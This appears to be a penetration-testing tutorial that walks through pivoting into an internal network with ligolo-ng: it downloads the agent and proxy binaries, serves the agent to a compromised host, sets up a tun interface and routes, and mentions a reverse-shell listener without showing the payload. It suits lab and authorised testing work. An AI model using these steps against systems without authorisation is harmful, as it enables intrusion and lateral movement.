We will be using a proxy file for our attacking machine (in our case, it is Kali Linux) and an agent file for a compromised host that is Linux or windows. (Take care of the architect of the machine).
Download it for Kali Linux machine and compromised host.
If you want to catch the reverse shell then it is highly advisable to add Listener.
Way to do that. Run the below command in the agent session.
When setting up a reverse shell using a PowerShell Base64-encoded payload, ensure that the IP address used is the local IP address of the machine through which you are tunneling. To identify the correct local IP address, run a network enumeration tool or command (e.g., netstat, ipconfig, ifconfig, or netexec) on the tunneling machine to verify the IP address you need to use. Replace the placeholder with the identified local IP address in the payload.
In my case, Tunneling machine is MS01. and it's local IP is 10.10.x.147
For File transfer:
Add a listener for the transfer of a file.
Start the server in the directory where the file to be transferred is located.
You can run the below command to download the file. Please Take care of the IP address you are using.
# Please verify the architect.
# Then download the file.
# Command for Linux:
uname -m
arch
lscpu | grep Architecture
# Command for windows:
wmic os get osarchitecture
systeminfo | findstr /C:"System Type"
mkdir -p tunnelling ; cd tunnelling
# download the file:
# Below is for a Compromised host and this is called as agent.
# If there is a window host (victim)
# wget https://github.com/nicocha30/ligolo-ng/releases/download/v0.7.2-alpha/ligolo-ng_agent_0.7.2-alpha_windows_amd64.zip
wget https://github.com/nicocha30/ligolo-ng/releases/download/v0.6.2/ligolo-ng_agent_0.6.2_windows_amd64.zip
# If there is linux host (Victim)
# wget https://github.com/nicocha30/ligolo-ng/releases/download/v0.7.2-alpha/ligolo-ng_agent_0.7.2-alpha_linux_amd64.tar.gz
wget https://github.com/nicocha30/ligolo-ng/releases/download/v0.6.2/ligolo-ng_agent_0.6.2_linux_amd64.tar.gz
# Below is for kali Linux:
# wget https://github.com/nicocha30/ligolo-ng/releases/download/v0.7.2-alpha/ligolo-ng_proxy_0.7.2-alpha_linux_amd64.tar.gz
wget https://github.com/nicocha30/ligolo-ng/releases/download/v0.6.2/ligolo-ng_proxy_0.6.2_linux_amd64.tar.gz
# Extract the file using the below command:
find . -name "*.tar.gz" -exec tar -xzf {} \;
find . -name "*.zip" -exec unzip -o {} \;
# Listing the content.
ls -la
# Transfer the agent file to the compromised host.
python3 -m http.server 8000 &
sudo ip tuntap add user [your_username] mode tun ligolo
sudo ip link set ligolo up
sudo ip tuntap add user kali mode tun ligolo
sudo ip link set ligolo up
# I will be using selfcert in Kali Linux
sudo ./proxy -selfcert
sudo ./proxy -selfcert -laddr 0.0.0.0:8090 # with custom port
# Using Sudo will allow us to use auto route functionality.
sudo ./proxy -selfcert -laddr 0.0.0.0:443 # This port is mostly open
# Go to the session established.
session 1
# list the interface.
ifconfig
# Run adding route command in another terminal of kali linux.
sudo ip route add 10.4.216.0/24 dev ligolo
# Then run start in ligolo agent.
start